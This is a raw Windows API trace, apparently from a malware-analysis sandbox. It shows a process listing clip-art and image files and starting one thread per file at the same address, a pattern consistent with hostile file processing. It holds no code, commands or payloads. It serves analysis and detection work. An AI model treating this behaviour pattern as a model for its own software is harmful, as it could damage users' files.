	[0246.650] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb921ed00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb921ed00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3380, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03257_.WMF", cAlternateFileName="")) returned 1
	[0246.650] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23b8
	[0246.652] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.653] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31379600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31379600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03331_.WMF", cAlternateFileName="")) returned 1
	[0246.653] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23bc
	[0246.655] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.656] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe160cb00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe160cb00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x282c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03339_.WMF", cAlternateFileName="")) returned 1
	[0246.656] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23c0
	[0246.658] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.659] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2108, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03451_.WMF", cAlternateFileName="")) returned 1
	[0246.659] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23c4
	[0246.661] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.696] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d695e00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d695e00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1f24, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03453_.WMF", cAlternateFileName="")) returned 1
	[0246.696] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23c8
	[0246.699] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.700] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03459_.WMF", cAlternateFileName="")) returned 1
	[0246.701] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.702] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23cc
	[0246.703] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.703] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1664, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03464_.WMF", cAlternateFileName="")) returned 1
	[0246.703] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23d0
	[0246.705] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.705] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x41a0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03466_.WMF", cAlternateFileName="")) returned 1
	[0246.705] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23d4
	[0246.708] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.709] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3998, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03470_.WMF", cAlternateFileName="")) returned 1
	[0246.709] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23d8
	[0246.711] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.711] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3716500, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3716500, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03513_.WMF", cAlternateFileName="")) returned 1
	[0246.711] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0246.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23dc
	[0247.276] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.277] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32062000, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32062000, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x1868, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03668_.WMF", cAlternateFileName="")) returned 1
	[0247.277] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23e0
	[0247.279] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.280] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb300a00, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb300a00, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03731_.WMF", cAlternateFileName="")) returned 1
	[0247.280] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23e4
	[0247.282] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.283] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd176e300, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd176e300, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03795_.WMF", cAlternateFileName="")) returned 1
	[0247.283] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23e8
	[0247.285] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.286] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14937f00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14937f00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x1020, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE04050_.WMF", cAlternateFileName="")) returned 1
	[0247.286] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23ec
	[0247.288] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.289] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE05665_.WMF", cAlternateFileName="")) returned 1
	[0247.289] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23f0
	[0247.291] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.291] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f24df00, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f24df00, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x167c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE05710_.WMF", cAlternateFileName="")) returned 1
	[0247.291] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23f4
	[0247.293] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.294] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49073b00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49073b00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE05869_.WMF", cAlternateFileName="")) returned 1
	[0247.294] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23f8
	[0247.296] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.296] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44428700, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44428700, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE05870_.WMF", cAlternateFileName="")) returned 1
	[0247.296] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23fc
	[0247.298] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.299] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x671b6e00, ftCreationTime.dwHighDateTime=0x1bd4bfa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x671b6e00, ftLastWriteTime.dwHighDateTime=0x1bd4bfa, nFileSizeHigh=0x0, nFileSizeLow=0x7fce, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE05930_.WMF", cAlternateFileName="")) returned 1
	[0247.299] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2404
	[0247.301] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.302] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf03a600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf03a600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE06049_.WMF", cAlternateFileName="")) returned 1
	[0247.302] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2408
	[0247.304] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.304] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59d01210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4048, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE06450_.WMF", cAlternateFileName="")) returned 1
	[0247.304] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x240c
	[0247.306] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.307] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf15a1100, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf15a1100, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x629, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH00601G.GIF", cAlternateFileName="")) returned 1
	[0247.307] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.308] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2410
	[0247.739] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.740] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe86e3d00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe86e3d00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x8628, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH00780U.BMP", cAlternateFileName="")) returned 1
	[0247.740] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2414
	[0247.743] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.744] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c100, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45c100, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01035U.BMP", cAlternateFileName="")) returned 1
	[0247.744] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2418
	[0247.746] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.747] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x211bb, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01046J.JPG", cAlternateFileName="")) returned 1
	[0247.747] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x241c
	[0247.749] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.749] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4a3a00, ftCreationTime.dwHighDateTime=0x1bd50ad, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd4a3a00, ftLastWriteTime.dwHighDateTime=0x1bd50ad, nFileSizeHigh=0x0, nFileSizeLow=0xa202, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01179J.JPG", cAlternateFileName="")) returned 1
	[0247.749] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2420
	[0247.751] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.751] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18be, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01213K.JPG", cAlternateFileName="")) returned 1
	[0247.751] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2424
	[0247.753] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
